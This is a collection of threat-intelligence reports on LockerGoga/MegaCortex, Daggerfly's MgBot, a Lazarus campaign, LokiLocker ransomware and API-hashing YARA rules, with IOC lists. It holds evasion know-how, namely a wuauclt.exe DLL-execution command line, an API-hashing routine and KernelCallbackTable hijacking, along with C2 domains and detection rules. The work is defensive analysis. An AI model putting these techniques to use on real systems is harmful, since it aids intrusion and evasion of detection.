- Process Injection – T1055
- Remote Services: RDP - T1021.001
- Remote Services: SMB/Windows Admin Shares - T1021.002
- Remote System Discovery - T1018
- Scheduled Task/Job: Scheduled Task - T1053.005
- System Binary Proxy Execution: Rundll32 - T1218.011
- System Network Configuration Discovery - T1016
- Valid Accounts - T1078
- WMI - T1047
- Unsecured Credentials: Credentials In Files - T1552.001
- User Execution: Malicious File - T1204.002
- Remote Services: Windows Remote Management - T1021.006
- Exfiltration Over C2 Channel - T1041
- Archive Collected Data: Archive via Utility - T1560.001
- Ingress Tool Transfer - T1105
- Web Service - T1102
- OS Credential Dumping: LSASS Memory - T1003.001
- Remote Access Software - T1219
- AdFind - S0552
- IcedID - S0483
- ipconfig - S0100
- net - S0039
- nltest - S0359
- ping - S0097
- systeminfo - S0096
- cmd - S0106
- Cobalt Strike - S0154
- PsExec - S0029
**Internal case #18190** |
# Warning over LockerGoga and MegaCortex Ransomware Attacks Targeting Private Industry in Western Countries
**Dev Kundaliya**
December 24, 2019
The FBI has issued an alert to warn enterprises about LockerGoga and MegaCortex ransomware that are targeting large organisations and businesses in western countries. The actors behind the two ransomware were found using stolen login credentials, SQL injections, phishing attacks, and several other techniques to gain entry into a corporate network. |
# Daggerfly: APT Actor Targets Telecoms Company in Africa
**Threat Hunter Team, Symantec**
## MgBot Modular Malware Framework
MgBot is a well-designed modular framework that is actively maintained. The components of the framework are the following:
- MgBot EXE dropper
- MgBot DLL Loader
- MgBot Plugins
The MgBot plugins that were deployed in this activity have numerous capabilities that can provide the attackers with a significant amount of information about compromised machines. Among the unique plugins that were deployed during this activity were:
- **Network scanner – innocence.dll**
Capabilities include: arp scan, http scan, determining the type of server (e.g. SQL, WebLogic, Redis, etc.) it is running on.
- **A Chrome and Firefox infostealer – bkmk.dll**
Gathers information such as bookmarks and browsing history.
- **Logging module – famdowm.dll**
Based on the open-source easylogging++, which can carry out basic logging, track performance, and more.
- **QQ messages infostealer – qmsdp.dll**
Based on a blog detailing how a chat tool message database was cracked by hackers.
- **Active Directory enumeration – ceeeb.dll**
Collects the following information from Active Directory:
- Members info
- Computers
- Local Admins
- Remote Desktop Users
- DCOM Users
- **Password dumper – cpfwplgx.dll**
Drops a file to call the MiniDumpWriteDump API to dump a process memory.
- **QQ Keylogger – kstrcs.dll**
Keylogger that targets QQEdit.exe and QQ.exe processes.
- **Screen and clipboard grabber – cbmrpa.dll**
Captures clipboard and drag-and-drop data and saves it to a file.
- **Outlook and Foxmail credentials stealer – maillfpassword.dll**
- **Audio capture – prsm.dll**
Captures audio from the infected system using COM objects IMMDeviceEnumerator and IAudioCaptureClient.
- **Process Watchdog – ansecprocesskeep.dll**
Registered as service AnsecProcessKeep. Confirmed to be a watchdog that keeps a process running. The process name is found in an .ini file.
All of these capabilities would have allowed the attackers to collect a significant amount of information from victim machines. The capabilities of these plugins also show that the main goal of the attackers during this campaign was information-gathering. Daggerfly’s development of these previously unseen plugins demonstrates that the attack group is continuing to actively develop its malware and the tools it can use to target victim networks.
## Continuation of a Trend
Telecoms companies will always be a key target in intelligence-gathering campaigns due to the access they can potentially provide to the communications of end-users. Symantec’s Threat Hunter team also spotted some other recent activity targeting telecoms companies that was linked with moderate confidence to the threat actor Othorene (aka Gallium), in what appeared to be a continuation of an intelligence-gathering campaign first reported on by SentinelOne under the name Operation Tainted Love in March. SentinelOne reported that in that campaign Othorene was targeting telecoms companies in the Middle East.
Othorene has been active since around 2014, and it is believed to be a relatively small group that has a strong focus on the surveillance of individuals. There are some indications that Othorene may have links with the APT41 (aka Blackfly, Grayfly) APT group also. Overlap of both personnel and tactics, techniques, and procedures (TTPs) among Chinese APT groups is not uncommon, and can mean that attributing activity to one group with high confidence is difficult.
In the activity Symantec saw, we found three additional victims of the same campaign that SentinelOne detailed, located in Asia and Africa. Two of the three were subsidiaries of the same Middle Eastern telecoms firm. The attackers had been active on victim networks since November 2022. Symantec saw attackers dumping credentials and scanning the network using NbtScan.
The main malware (pc.exe dubbed mim221) in this campaign was used to dump credentials, and it had the same password as the malware used in the activity documented by SentinelOne. The attackers also moved laterally across victims’ networks, used Scheduled Task for persistence, and dumped SAM and System hives from the registry. There were indications that the attackers may have exported the Active Directory database on victim machines, and they were also able to gain access to domain controllers, giving them deep access to victim networks.
## Protection/Mitigation
For the latest protection updates, please visit the Symantec Protection Bulletin.
## Indicators of Compromise
If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.
### File Indicators – Daggerfly
- **MgBot Dropper**
c89316e87c5761e0fc50db1214beb32a08c73d2cad9df8c678c8e44ed66c1dab
90e15eaf6385b41fcbf021ecbd8d86b8c31ba48c2c5c3d1edb8851896f4f72fe
- **MgBot – aasrvd.dll, pmsrvd.dll**
706c9030c2fa5eb758fa2113df3a7e79257808b3e79e46869d1bf279ed488c36
017187a1b6d58c69d90d81055db031f1a7569a3b95743679b21e44ea82cfb6c7
- **MgBot Plugins**
cb8aede4ad660adc1c78a513e7d5724cac8073bea9d6a77cf3b04b019395979a
2dcf9e556332da2a17a44dfceda5e2421c88168aafea73e2811d65e9521c715c
a6ed16244a5b965f0e0b84b21dcc6f51ad1e413dc2ad243a6f5853cd9ac8da0b
ee6a3331c6b8f3f955def71a6c7c97bf86ddf4ce3e75a63ea4e9cd6e20701024
585db6ab2f7b452091ddb29de519485027665335afcdb34957ff1425ecc3ec4b
29df6c3f7d13b259b3bc5d56f2cdd14782021fc5f9597a3ccece51ffac2010a0
ea2be3d0217a2efeb06c93e32f489a457bdea154fb4a900f26bef83e2053f4fd
54198678b98c2094e74159d7456dd74d12ab4244e1d9376d8f4d864f6237cd79
d9eec27bf827669cf13bfdb7be3fdb0fdf05a26d5b74adecaf2f0a48105ae934
cb7d9feda7d8ebfba93ec428d5a8a4382bf58e5a70e4b51eb1938d2691d5d4a5
2c0cfe2f4f1e7539b4700e1205411ec084cbc574f9e4710ecd4733fbf0f8a7dc
a16a70b0a1ac0718149a31c780edb126379a0d375d9f6007a6def3141bec6810
0bcdcc0515d30c28017fd7931b8a787feebe9ee3819aa2b758ce915b8ba40f99
- **PlugX Loader – proccom.dll, djcu.dll**
c31b409b1fe9b6387b03f7aedeafd3721b4ec6d6011da671df49e241394da154
db489e9760da2ed362476c4e0e9ddd6e275a84391542a6966dbcda0261b3f30a
632cd9067fb32ac8fbbe93eb134e58bd99601c8690f97ca53e8e17dda5d44e0e
- **DumpCredStore – dumpcredstore.ps1, a.ps1**
c1e91a5f9cc23f3626326dab2dcdf4904e6f8a332e2bce8b9a0854b371c2b350
5a0976fef89e32ddcf62c790f9bb4c174a79004e627c3521604f46bf5cc7bea2
- **AnyDesk – anydesk.exe**
7bcff667ab676c8f4f434d14cfc7949e596ca42613c757752330e07c5ea2a453
### File Indicators – Othorene
- 3f75818e2e43a744980254bfdc1225e7743689b378081c560e824a36e0e0a195 – pc.exe, rpc.exe (Main malware)
- 1b8500e27edc87464b8e5786dc8c2beed9a8c6e58b82e50280cebb7f233bcde4 – get.exe (used to print Syskey and Samkey)
- 03bc62bd9a681bdcb85db33a08b6f2b41f853de84aa237ae7216432a6f8f817e – pc.dll
- ae39ced76c78e7c2043b813718e3cd610e1a8adac1f9ad5e69cf06bd6e38a5bd – pc.dll
- f6f6152db941a03e1f45d52ab55a2e3d774015ccb8828533654e3f3161cfcd21 – pc.exe
- 2f4a97dc70f06e0235796fec6393579999c224e144adcff908e0c681c123a8a2 – pc.dll
- 22069984cba22be84fe33a886d989b683de6eb09f001670dbd8c1b605460d454 – pc.dll
- 7b945fb1bdeb27a35fab7c2e0f5f45e0e64df7821dd1417a77922c9b08acfdc3 – rpc.dll
- e8be3e40f79981a1c29c15992da116ea969ab5a15dc514479871a50b20b10158 – pc.dll
- b5c46c2604e29e24c6eb373a7287d919da5c18c04572021f20b8e1966b86d585 – rpc.dll
- 53d2506723f4d69afca33e90142833b132ed11dd0766192a087cb206840f3692 – test.exe
- 26d129aaa4f0f830a7a20fe6317ee4a254b9caac52730b6fed6c482be4a5c79d – g.dll
- b45355c8b84b57ae015ad0aebfa8707be3f33e12731f7f8c282c8ee51f962292 – g.dll
- 17dce65529069529bcb5ced04721d641bf6d7a7ac61d43aaf1bca2f6e08ead56 – getHashFlsa64.dll
- 98b6992749819d0a34a196768c6c0d43b100ef754194308eae6aaa90352e2c13 – getHashFlsa64.dll
- 6d5be3e6939a7c86280044eebe71c566b48981a3341193aa3aff634a3a5d1bbd – getHashFlsa64.dll
- 1cf04c3e8349171d907b911bc2a23bdb544d88e2f9b8fcc516d8bcf68168aede – getHashFlsa64.dll
## About the Author
**Threat Hunter Team, Symantec**
The Threat Hunter Team is a group of security experts within Symantec whose mission is to investigate targeted attacks, drive enhanced protection in Symantec products, and offer analysis that helps customers respond to attacks. |
# North Korea's Lazarus APT Leverages Windows Update Client, GitHub in Latest Campaign
**Threat Intelligence Team**
January 27, 2022
This blog was authored by Ankur Saini and Hossein Jazi
Lazarus Group is one of the most sophisticated North Korean APTs that has been active since 2009. The group is responsible for many high-profile attacks in the past and has gained worldwide attention. The Malwarebytes Threat Intelligence team is actively monitoring its activities and was able to spot a new campaign on Jan 18th, 2022.
In this campaign, Lazarus conducted spear phishing attacks weaponized with malicious documents that use their known job opportunities theme. We identified two decoy documents masquerading as American global security and aerospace giant Lockheed Martin. In this blog post, we provide technical analysis of this latest attack including a clever use of Windows Update to execute the malicious payload and GitHub as a command and control server. We have reported the rogue GitHub account for harmful content.
## Analysis
The two macro-embedded documents seem to be luring the targets about new job opportunities at Lockheed Martin:
- Lockheed_Martin_JobOpportunities.docx
- Salary_Lockheed_Martin_job_opportunities_confidential.doc
The compilation time for both of these documents is 2020-04-24, but we have enough indicators that confirm that they have been used in a campaign around late December 2021 and early 2022. Some of the indicators that show this attack operated recently are the domains used by the threat actor.
Both of the documents use the same attack theme and have some common elements like embedded macros, but the full attack chain seems to be totally different. The analysis provided in the blog is mainly based on the “Lockheed_Martin_JobOpportunities.docx” document, but we also provide brief analysis for the second document (Salary_Lockheed_Martin_job_opportunities_confidential.doc) at the end of this blog.
## Attack Process
The attack starts by executing the malicious macros that are embedded in the Word document. The malware performs a series of injections and achieves startup persistence in the target system. In the next section, we will provide technical details about various stages of this attack and its payload capabilities.
### Macros: Control Flow Hijacking through KernelCallbackTable
The above code uses a very unusual and lesser-known technique to hijack the control flow and execute malicious code. The malware retrieves the address of the “WMIsAvailableOffline” function from “wmvcore.dll”, then it changes the memory protection permissions for code in “WMIsAvailableOffline” and proceeds to overwrite the code in memory with the malicious base64 decoded shell-code.
Another interesting thing happening in the above code is the control flow hijacking through the KernelCallbackTable member of the PEB. A call to NtQueryInformationProcess is made with ProcessBasicInformation class as the parameter which helps the malware to retrieve the address of PEB and thus retrieving the KernelCallbackTable pointer.
KernelCallbackTable is initialized to an array of callback functions when user32.dll is loaded into memory, which are used whenever a graphical call (GDI) is made by the process. To hijack the control flow, malware replaces the USER32!_fnDWORD callback in the table with the malicious WMIsAvailableOffline function. Once the flow is hijacked and malicious code is executed, the rest of the code takes care of restoring the KernelCallbackTable to its original state.
## Shellcode Analysis
The shellcode loaded by the macro contains an encrypted DLL which is decrypted at runtime and then manually mapped into memory by the shellcode. After mapping the DLL, the shellcode jumps to the entry point of that DLL. The shellcode uses some kind of custom hashing method to resolve the APIs. We used hollows_hunter to dump the DLL and reconstruct the IAT once it is fully mapped into memory.
The hashing function accepts two parameters: the hash of the DLL and the hash of the function we are looking for in that DLL. A very simple algorithm is used for hashing APIs.
```python
def string_hashing(name):
hash = 0
for i in range(0, len(name)):
hash = 2 * (hash + (ord(name[i]) | 0x60))
return hash
```
The shellcode and all the subsequent inter-process Code/DLL injections in the attack chain use the same injection method as described below.
## Code Injection
The injection function is responsible for resolving all the required API calls. It then opens a handle to the target process by using the OpenProcess API. It uses the SizeOfImage field in the NT header of the DLL to be injected into allocated space into the target process along with a separate space for the init_dll function. The purpose of the init_dll function is to initialize the injected DLL and then pass the control flow to the entry point of the DLL. One thing to note here is a simple CreateRemoteThread method is used to start a thread inside the target process unlike the KernelCallbackTable technique used in our macro.
## Malware Components
- **stage1_winword.dll** – This is the DLL which is mapped inside the Word process. This DLL is responsible for restoring the original state of KernelCallbackTable and then injecting stage2_explorer.dll into the explorer.exe process.
- **stage2_explorer.dll** – The winword.exe process injects this DLL into the explorer.exe process. With brief analysis, we find out that the .data section contains two additional DLLs. We refer to them as drops_lnk.dll and stage3_runtimebroker.dll. By analyzing stage2_explorer.dll a bit further we can easily understand the purpose of this DLL.
The above code snippet shows the main routine of stage2_explorer.dll. As you can see it checks for the existence of “C:\Windows\system32\wuaueng.dll” and then if it doesn’t exist it takes its path to drop additional files. It executes the drops_lnk.dll in the current process and then tries to create the RuntimeBroker process and if successful in creating RuntimeBroker, it injects stage3_runtimebroker.dll into the newly created process. If for some reason process creation fails, it just executes stage3_runtimebroker.dll in the current explorer.exe process.
- **drops_lnk.dll** – This DLL is loaded and executed inside the explorer.exe process, it mainly drops the lnk file (WindowsUpdateConf.lnk) into the startup folder and then it checks for the existence of wuaueng.dll in the malicious directory and manually loads and executes it from the disk if it exists. The lnk file (WindowsUpdateConf.lnk) executes “C:\Windows\system32\wuauclt.exe” /UpdateDeploymentProvider C:\Windows\system32\wuaueng.dll /RunHandlerComServer. This is an interesting technique used by Lazarus to run its malicious DLL using the Windows Update Client to bypass security detection mechanisms. With this method, the threat actor can execute its malicious code through the Microsoft Windows Update client by passing the following arguments: /UpdateDeploymentProvider, Path to malicious dll and /RunHandlerComServer argument after the dll.
- **stage3_runtimebroker.dll** – This DLL is responsible for creating the malicious directory (“C:\Windows\system32\”) and then drops the wuaueng.dll in that directory, furthermore it sets the attributes of the directory to make it hidden.
- **wuaueng.dll** – This is one of the most important DLLs in the attack chain. This malicious DLL is signed with a certificate which seems to belong to “SAMOYAJ LIMITED”. Till 20 January 2022, the DLL had (0/65) AV detections and presently only 5/65 detect it as malicious. This DLL has embedded inside another DLL which contains the core module (core_module.dll) of this malware responsible for communicating with the Command and Control (C2) server. This DLL can be loaded into memory in two ways:
- If drops_lnk.dll loads this DLL into explorer.exe then it loads the core_module.dll and then executes it.
- If it is being executed from wuauclt.exe, then it retrieves the PID of explorer.exe and injects the core_module.dll into that process.
## The Core Module and GitHub as a C2
Rarely do we see malware using GitHub as C2 and this is the first time we’ve observed Lazarus leveraging it. Using GitHub as a C2 has its own drawbacks but it is a clever choice for targeted and short-term attacks as it makes it harder for security products to differentiate between legitimate and malicious connections. While analyzing the core module we were able to get the required details to access the C2 but unfortunately it was already cleaned and we were not able to get much except one of the additional modules loaded by the core_module.dll remotely.
There seems to be no type of string encoding used so we can clearly see the strings which makes the analysis easy. `get_module_from_repo` uses the hardcoded username, repo_name, directory, token to make a HTTP request to GitHub and retrieves the files present in the “images” directory of the repository.
The HTTP request retrieves contents of the files present in the repository with an interesting validation which checks that the retrieved file is a PNG. The file that was earlier retrieved was named “readme.png”; this PNG file has one of the malicious modules embedded in it. The strings in the module reveal that the module’s original name is “GetBaseInfo.dll”. Once the malware retrieves the module it uses the `map_module` function to map the DLL and then looks for an exported function named “GetNumberOfMethods” in the malicious module. It then executes `GetNumberOfMethods` and saves the result obtained by the module. This result is committed to the remote repo under the metafiles directory with a filename denoting the time at which the module was executed. This file committed to the repo contains the result of the commands executed by the module on the target system. To commit the file the malware makes a PUT HTTP request to GitHub.
## Additional Modules (GetBaseInfo.dll)
This was the only module which we were able to get our hands on. Only a single module does limit us in finding all the capabilities this malware has. Also, it's a bit difficult to hunt for these modules as they never really touch the disk which makes them harder to detect by AVs. The only way to get the modules would be to access the C2 and download the modules while they are live. Coming back to this module, it has very limited capabilities. It retrieves the Username, ComputerName, and a list of all the running processes on the system and then returns the result so it can be committed to the C2.
## GitHub Account
The account with the username “DanielManwarningRep” is used to operate the malware. The account was created on January 17th, 2022, and other than this we were not able to find any information related to the account.
## Second Malicious Document Used in the Campaign
**Malicious Document** – Salary_Lockheed_Martin_job_opportunities_confidential.doc
(0160375e19e606d06f672be6e43f70fa70093d2a30031affd2929a5c446d07c1)
The initial attack vector used in this document is similar to the first document but the malware dropped by the macro is totally different. Sadly, the C2 for this malware was down by the time we started analyzing it.
This document uses KernelCallbackTable as well to hijack the control flow just like our first module; the injection technique used by the shellcode also resembles the first document. The major difference in this document is that it tries to retrieve a remote HTML page and then executes it using mshta.exe. The remote HTML page is located at `https://markettrendingcenter.com/member.htm` and throws a 404 Not Found which makes it difficult for us to analyze this document any further.
## Attribution
There are multiple indicators that suggest that this campaign has been operated by the Lazarus threat actor. In this section, we provide some of the indicators that confirm the actor behind this attack is Lazarus:
- Using job opportunities as a template is the known method used by Lazarus to target its victims. The documents created by this actor are well designed and contain a large icon for a known company such as Lockheed Martin, BAE Systems, Boeing, and Northrop Grumman in the template.
- In this campaign, the actor has targeted people that are looking for job opportunities at Lockheed Martin. Targeting the defense industry and specifically Lockheed Martin is a known target for this actor.
- The document’s metadata used in this campaign links them to several other documents used by this actor in the past.
- Using Frame1_Layout for macro execution and using lesser-known API calls for shellcode execution is known to be used by Lazarus.
- We also were able to find infrastructure overlap between this campaign and past campaigns of Lazarus.
## Conclusion
Lazarus APT is one of the advanced APT groups that is known to target the defense industry. The group keeps updating its toolset to evade security mechanisms. In this blog post, we provided a detailed analysis about the new campaign operated by this actor. Even though they have used their old job theme method, they employed several new techniques to bypass detections:
- Use of KernelCallbackTable to hijack the control flow and shellcode execution
- Use of the Windows Update client for malicious code execution
- Use of GitHub for C2 communication
## IOCs:
**Maldocs:**
- 0d01b24f7666f9bccf0f16ea97e41e0bc26f4c49cdfb7a4dabcc0a494b44ec9b
Lockheed_Martin_JobOpportunities.docx
- 0160375e19e606d06f672be6e43f70fa70093d2a30031affd2929a5c446d07c1
Salary_Lockheed_Martin_job_opportunities_confidential.doc
**Domains:**
- markettrendingcenter.com
- lm-career.com
**Payloads:**
| Name | Sha256 |
|--------------------------------|------------------------------------------------------------------------|
| readme.png | 4216f63870e2cdfe499d09fce9caa301f9546f60a69c4032cb5fb6d5ceb9af32 |
| wuaueng.dll | 829eceee720b0a3e505efbd3262c387b92abdf46183d51a50489e2b157dac3b1 |
| stage1_winword.dll | f14b1a91ed1ecd365088ba6de5846788f86689c6c2f2182855d5e0954d62af3b |
| stage2_explorer.dll | 660e60cc1fd3e155017848a1f6befc4a335825a6ae04f3416b9b148ff156d143 |
| drops_lnk.dll | 11b5944715da95e4a57ea54968439d955114088222fd2032d4e0282d12a58abb |
| stage3_runtimebroker.dll | 9d18defe7390c59a1473f79a2407d072a3f365de9834b8d8be25f7e35a76d818 |
| core_module.dll | c677a79b853d3858f8c8b86ccd8c76ebbd1508cc9550f1da2d30be491625b744 |
| GetBaseInfo.dll | 5098ec21c88e14d9039d232106560b3c87487b51b40d6fef28254c37e4865182 | |
# New Ransomware Family Identified: LokiLocker RaaS
## Overview
BlackBerry Threat Intelligence has identified a new Ransomware-as-a-Service (RaaS) family, tracked to its probable beta stage release. Like many other strains of ransomware, LokiLocker encrypts files and renders machines unusable if the ransom is not paid in time. However, this threat seems to employ a potential “false flag” tactic that points to Iranian threat actors.
In Norse mythology, Loki was the consummate trickster who could shapeshift at will. LokiLocker is similarly insistent on acquiring what it has no legitimate claim to. It targets English-speaking victims and Windows® PCs; first seen in the wild in mid-August 2021. It should not be confused with the older ransomware family Locky or LokiBot, which is an infostealer. It shares some similarities with LockBit ransomware but does not appear to be its direct descendant.
LokiLocker enters the victim’s life uninvited, encrypts files, and demands a monetary ransom to restore access. The malware is written in .NET and protected with NETGuard (modified ConfuserEX) using an additional virtualization plugin called KoiVM. KoiVM was once a licensed commercial protector for .NET applications but became publicly available around 2018.
## Loki the Destroyer
LokiLocker encrypts files on local drives and network shares using a combination of AES for file encryption and RSA for key protection. It asks victims to email the attackers for payment instructions. The malware also has an optional wiper functionality; if the ransom is not paid within the specified timeframe, all non-system files will be deleted, and the MBR will be overwritten, rendering the system unusable.
LokiLocker operates as a limited-access RaaS scheme sold to a small number of vetted affiliates. Each affiliate is identified by a chosen username and assigned a unique chat-ID number. There are currently about 30 different “VIP” affiliates across the LokiLocker samples found in the wild.
One of the earliest samples was distributed inside Trojanized brute-checker hacking tools, such as PayPal BruteChecker, Spotify BruteChecker, PiaVPN Brute Checker, and FPSN Checker.
The victims observed seem to be scattered globally, with a concentration in Eastern Europe and Asia. Although the origin of LokiLocker is unclear, all embedded debugging strings are in English, largely free of mistakes. Some cracking tools used to distribute the initial samples appear to be developed by an Iranian cracking team called AccountCrack. At least three known LokiLocker affiliates use unique usernames found on Iranian hacking channels.
## Diving into LokiLocker
To inspect the C# code, the binary must be opened in DNSpy to decompile it. The original filename is "svchost.exe," with references to NETGuard/KoiVM. The namespace reveals classes labeled “Koi” and “NETGuard,” along with numerous classes with obfuscated function names.
KoiVM is a virtual machine designed to work on ConfuserEx, complicating analysis. Vanilla implementations of KoiVM can be devirtualized using a tool named OldRod, but modifications can prevent successful devirtualization.
The sample analyzed by BlackBerry researchers failed to devirtualize, leading to further investigation. The presence of several namespaces of interest, particularly those beginning with “Loki,” was noted. Some classes were either empty or produced errors during decompilation.
Loki.Pinvoke contains wrappers to various Windows APIs, allowing calls to import DLLs without direct calls to the Windows API. The “affiliate config” contains several configuration options.
## Unpacking
Despite OldRod's failure, the binary can still be analyzed through debugging. The first function fetches the module base address and decodes a section of itself in-memory. The second function defines a large byte array, XORs each byte against its position, and decompresses the resulting data using GZIP.
Once the important functions are decoded, the executable is destroyed to evade scanning solutions. The binary then jumps to the main function of LokiLocker.
## Functionality
LokiLocker can be executed with a `--log` parameter, saving a detailed log of the infection. Upon execution, the malware copies itself to `%ProgramData%/winlogon.exe`, sets its attributes to hidden and system, and creates a mutex called “LokiLocker.” It achieves persistence by creating a scheduled task to execute the malware binary on each logon and adding a value to the Run registry keys.
Before encryption, the malware performs several actions, including reading its configuration, displaying a fake Windows Update screen, killing specified processes, and disabling Windows Task Manager. It also deletes system backups, disables the firewall, and empties the Recycle Bin.
## Network Communication
The malware sends a beacon containing information in a POST request to the command-and-control (C2) server. The C2 URL is hard-coded in the binary’s config. The malware expects an obfuscated public key in response.
## Encryption
LokiLocker creates an RSA-2048 key pair for the victim, encrypts it with the attacker’s public RSA key, and saves it to the registry. The malware scans the network for available shares and begins the encryption process, starting with special folders in the local user’s directory. Each file is encrypted with AES-256 in GCM mode, using a randomly generated key.
## Wiper Functionality
If configured, the malware will attempt to wipe the system if the ransom isn’t paid within the specified timeframe. It deletes files on all drives except for system files and overwrites the MBR, rendering the system unusable.
## Config
LokiLocker features multiple configurable sections, with most information hard-coded into the binary. The main “affiliate” config section contains information such as the affiliate name, email addresses, C2 URL, and the extension to be added to encrypted files.
## Dropped Files
The malware drops an HTA file displaying a ransom note on the victim’s desktop. The ransom note instructs victims on how to contact the attackers and the payment process.
## Conclusions
LokiLocker ransomware is adept at causing mayhem on user endpoints. Its use of KoiVM complicates analysis, and the inclusion of the “Iran” code raises questions about its intended use. To protect against infections, always maintain offline backups and download files from trusted sources. If infected, the recommendation is not to pay the ransom, as there is no guarantee of data recovery.
If you are a victim of ransomware, contact your local FBI field office or file a report with the FBI’s Internet Crime Complaint Center (IC3).
## IOCs
- **SHA256**:
- 0684437b17ae4c28129fbb2cfe75b83cc8424ba119b9ca716ad001a284d62ead
- 15d7342be36d20ce615647fac9c2277f46b6d19aa54f3cf3d99e49d6ce0486d0
- 1a4a3bfb72f3a80e4b499ecebe99f53a2b7785eace7f612b3e219409d1e1ffc7
- 2a7f01d924a4fc38c9fad586634eccbc28de07d97531c4a02eb6085359093a45
- 37702b94f9fc14a406312a2a392ad9553cf05c4b6870d94b5cf4781c02c29414
- 4215b5ce91deb97011cba2dd94d5bac1a745d6d55f6938b86e209eaaf8e655df
- 52c045b57e24585467be13454c5db551987fd23bfa931a7f6ab41e6f11b8a7ec
- 55da12a82c8e0b9fda5dbba6612627c0ee5d13d55e3bcc1df2ca9785c97caf64
- 5ccee068daf8a672d0e63e334e00985aa7fe56aa26b6c036d562728fdf968237
- 6205056cd92c75579f56bd0ce7159fae9f360d4c183beb10743330952bf22056
- **C2 domain**: loki-locker[.]one
- **C2 IP**: 194.226.139[.]3, 91.223.82[.]6
- **Registry values**:
- Software\Loki\public
- Software\Loki\full
- Software\Loki\timer
- Software\Microsoft\CurrentVersion\Run\Michael Gillespie
- **Executable**: %ProgramData%\winlogon.exe
- **Config file**: %ProgramData%\config.Loki
- **Log file**: <malware_path>\logs.txt
- **Readme file**: Restore-My-Files.txt
- **HTA file**: Info.Loki
## Known Affiliate Names
- AbolSpyro
- AdairFile
- Ahmad_C4
- Darwin
- Fardinyps
- darkwave
## Known Email Addresses
- BlackSpyro[at]mailfence[.]com
- d4rkw4ve[at]tutanota[.]com
- dark4wave[at]yandex[.]com
## About The BlackBerry Research & Intelligence Team
The BlackBerry Research & Intelligence team examines emerging and persistent threats, providing intelligence analysis for the benefit of defenders and the organizations they serve. |
# API Hashing Tool, Imagine That
Kyle O'Meara and CERT Insider Threat Center
March 25, 2019
In the fall of 2018, the CERT Coordination Center (CERT/CC) Reverse Engineering (RE) Team received a tip from a trusted source about a YARA rule that triggered an alert in VirusTotal. This YARA rule was found in the Department of Homeland Security (DHS) Alert TA17-293A, which describes nation state threat activity associated with Russian activity. I believed this information warranted further analysis.
The YARA rule is allegedly associated with the Energetic Bear group. The Energetic Bear group, named by security firm CrowdStrike, conducts global intelligence operations, primarily against the energy sector. It has been in operation since 2012. This group has also been referred to as Dragonfly (Symantec), Crouching Yeti (Kaspersky), Group 24 (Cisco), and Iron Liberty (SecureWorks), among others.
```
rule APT_malware_2
{
meta:
description = "rule detects malware"
author = "other"
strings:
$api_hash = { 8A 08 84 C9 74 0D 80 C9 60 01 CB C1 E3 01 03 45 10 EB ED }
$http_push = "X-mode: push" nocase
$http_pop = "X-mode: pop" nocase
condition:
any of them
}
```
Unfortunately, upon reviewing numerous public threat reports from the above vendors, I could not find further information tying this YARA rule or associated exemplars to the Energetic Bear group, but I still believed that the activity warranted further investigation and analysis.
## Methodology
I used the following methodology for this analysis:
- Analyzed the YARA rule and initial exemplar
- Analyzed exemplar with IDA
- Researched and applied API hashing module routine findings to exemplar
- Mapped research findings and analysis to exemplar with IDA
- Created a tightly scoped YARA rule to discover new exemplars
- Created API hash YARA rules to discover more exemplars
- Analyzed new exemplars with refined YARA rule
- Discovered API hashes found in new exemplars
- Questioned attribution
- Identified future work
- Reported results
### Analyzed the YARA Rule and Initial Exemplar
I was interested in understanding the string variables found in the YARA rule. Specifically, it was not immediately clear what the $api_hash variable represented, whereas the variables $http_post and $http_push appeared to be associated with Hypertext Transfer Protocol (HTTP) header fields. I focused my analysis on the $api_hash variable.
### Analyzed Exemplar with IDA
After cursory analysis of the initial exemplar (SHA256: 1b17ce735512f3104557afe3becacd05ac802b2af79dab5bb1a7ac8d10dccffd), I determined that the $api_hash variable was alerting on the routine.
### Researched and Applied API Hashing Module Routine Findings to Exemplar
The key points to highlight are the or of 0x60, shift logical left (shl) by 1, followed by an add, and jump. Based on this information coupled with the variable name $api_hash, I was able to determine that this was a Windows application programming interface (API) hashing routine.
I wanted to find further information on any API hashing techniques. Through open source intelligence (OSINT) gathering, I discovered the FireEye Flare IDA Pro utilities Github page that mentioned a plug-in called Shellcode Hashes and an associated blog post from 2012 titled "Using Precalculated String Hashes when Reverse Engineering Shellcode," which further discussed API hashing. After I examined the FireEye Flare IDA plug-in script further, I found it contained 23 API hashing modules. I identified an API hashing module that was very similar to the routine found in the exemplar. This API hashing module is a function that contains a for loop, which contains an or of 0x60 followed by add and a shift left by 1.
```
def sll1AddHash32(inString,fName):
if inString is None:
return 0
val = 0
for i in inString:
b = ord(i)
b = 0xff & (b | 0x60)
val = val + b
val = val << 1
val = 0xffffffff & val
return val
```
The CERT/CC has an API hashing tool that creates a set of YARA signatures of API hashes for a given set of dynamic link library (DLL) files. This API hashing tool contained 22 API hashing modules. One of these modules matched the routine from the exemplar and the FireEye API hashing module. I called this API hashing module sll1Add. I used the CERT/CC API hashing tool and a clean set of DLL files to create a set of YARA rules for the sll1Add routine. After running the entire set of YARA rules against the exemplar, I received an alert for kernel32.dll API hashes.
```
Function Byte Value (big endian)
LoadLibraryA 86 57 0D 00
VirtualAlloc 42 31 0E 00
VirtualProtect 3C D1 38 00
```
### Mapped Research Findings and Analysis to Exemplar with IDA
I used another CERT/CC tool called UberFLIRT. UberFLIRT calculates and stores position independent code (PIC) hashes of arbitrary functions, easily shares information via a central database, and allows for fewer false positives than IDA's Fast Library Identification and Recognition Technology (FLIRT). I labeled the function in IDA as api_hash_func_slladd1 and saved it to the Uberflirt database to facilitate future analysis of similar exemplars.
Examining the entry point of the exemplar, I found two values that are pushed onto the stack and passed as parameters to a function. These two values are 0x0038D13C and 0x000D4E88. The value 0x0038D13C is the hash of VirtualProtect. The other value, 0x000D4E88, is discussed below.
Examining this function, where the API hashes were passed as parameters, I determined that this exemplar uses manual symbol loading techniques, which are very similar to that of shellcode, to interact with the system through APIs. This process reads the Thread Environment Block (TEB) to find the pointer to Process Environment Block (PEB) structure. The PEB structure is then parsed to find the DllBase of kernel32.dll. This exemplar also checks to ensure that it has the correct kernel32.dll by using 0x000D4E88 hash value to check for the kernel32.dll base name to the kernel32.dll that was found via manual symbol loading. The function then continues to parse the portable executable (PE) export data and passes the virtual protect hash (0x0038D13C) to the hashing algorithm. The same is done for the remaining hashes. I labeled the function from the analysis manual_symbol_resolution and saved it to the UberFLIRT database to aid in future analysis of similar exemplars.
### Created a Tightly Scoped YARA Rule to Discover New Exemplars
I used the following process to find additional exemplars:
- Created API hash YARA rule to discover more exemplars
- Analyzed new exemplars with refined YARA rule
- Created a tightly scoped YARA rule
